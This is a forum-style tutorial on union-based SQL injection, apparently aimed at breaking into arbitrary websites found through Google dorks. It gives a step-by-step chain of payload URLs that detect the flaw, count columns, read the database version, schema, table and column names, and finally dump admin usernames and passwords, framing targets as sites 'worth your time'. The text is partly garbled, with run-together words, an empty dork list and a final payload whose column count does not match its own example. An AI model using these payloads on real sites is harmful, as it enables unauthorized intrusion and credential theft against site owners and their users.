The Ultimate Structured Query Language Injection Tutorial

The Ultimate Structured Query Language Injection Tutorial.

Introductioninding SQLI Vulnerable sits is extremely easy all you need to do is some googling. The first thing you need to do are find some dorks.
SQLI DORKS:

Pick one of those dorks and add inurl: before it(If they do not already have it) and then copy and pasteit into google. Pick one of the sites off google and go to it.For example the url of the page you are on may look like this
Code:
http://www.example.com/index.php?id=3
To check that it is vulnerable all you have to do isput a ' at the end of the url. So now your url shouldLook like this
Code:
http://www.example.com/index.php?id=3'
Press enter and you get some kind of error. The errors will varybut it should look something like this

If an error happends that site is vulerable!

Getting Number of Columns
After you find your vulnerable site the first step you need to take isto find the number of columns. The easiest way to do this isuse the statement "order by". All you have to do is put ORDER BY (number)--at the end of your url. So it should look like this.
Code:
http://www.example.com/index.php?id=3 ORDER BY (number)--
You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.
For example
Code:
http://www.example.com/index.php?id=3 order by 1--  http://www.example.com/index.php?id=3 order by 2--http://www.example.com/index.php?id=3 order by 3--http://www.example.com/index.php?id=3 order by 4--http://www.example.com/index.php?id=3 order by 5--http://www.example.com/index.php?id=3 order by 6--http://www.example.com/index.php?id=3 order by 7--http://www.example.com/index.php?id=3 order by 8--
Lets say on order by 8-- you get an error page. This means that the website has 7 columns becauseit will give you errors on anything over 7. If you have a bad memory you should open notepad andwrite the # of columns you find
.

Finding Acsessable Columns
Now that we have the number of columns we need to get the column numbers that we can grab information from.We do this by by using the "Union" "select" and Number of columns. You put them together in yoururl like this
Code:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
For the end part of the url, (1,2,3,4,5,6,7) You put the number of columnsyou found in the first step. Since I found that the site I was testing had 7columns I put 1,2,3,4,5,6,7. Also remeber to put a - infront of the id number.After you do that you should get something like this...

The page should look a bit fucked up and there should be 2 numbers on the page.These two numbers are the colum numbers we can get information from. We will replace them with statements later on sowrite them down or remeber them.
Finding MySQL Database Version
The reasons you need the database name is to see weather or not the website is worth your timebecause any msql database under 5 you will have to blindly guess the table and column names.If you are a begginer and you find that the database is below 5 I urge you to finda different site.Now we take one of the numbers that we found from the step above and replace it with @@versionFor Example, before our url looked like this
Code:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
Now since we will replace the 1 with @@version
Code:
http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--

Press enter and now the page should display the database number.




Now the number that we had in the first step will be replaced with the database number. As it shows above
The site that I am testing has a version number of 5.0.45. Since this number is 5 or above we will continue working on
this site.

Finding Database Names


Next we are going to inject the website to find the database names. We do this by replacing @@version
with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url
So now our url should look like this

Code:
http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--
You should get something like this when you go to that url.



It will list the database names. Now to find which one is currently in use replace group_concat(schema_name) with
concat(database()) and delete + from+information_schema.schemata So the url should now look like this

Code:
http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--
It will display which database which is in use. You may want to write it down.




Finding Table Names

To get table names of current database you need to replace concat(database()) with group_concat(table_name)
and add from information_schema.tables where table_schema=database() between the last number and the -- also remove the
+ signs from the union select. Now your url should look like this
Code:
http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--

The page should now show the Table names. You may want to write them down.


Finding Column Names

This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns.
So your url should look like.
Code:
http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--
This should give you the column names. You may want to write them down.

Lets say they gave us back the cloumn names

admin_username
admin_password

Getting Information

Now we can have the database name, table names, and colomn names we can put them together and
pull information from them. Do to this we need to put the following in our url.
Code:
http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--
Now replace columnname with the column names you want infomation from. The 0x3a will make a : to seperate the information
for you. Put as many column names as you want to remeber to stick to the format. Also replace databasename.tablename
With the database name and the table name the column names where in. After all this your url should look something
like this.

Code:
http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--
Now you should get usernames and passwords for the admin or what ever information you wanted to get.

Now you should know the basics of sqli. Enjoy! I put alot of work into this tutorial so I hope you guys like it.
If have any questions feel free to pm me or add me on my msn or aim. There are probably a few mistakes in this tutorial, I will fix them
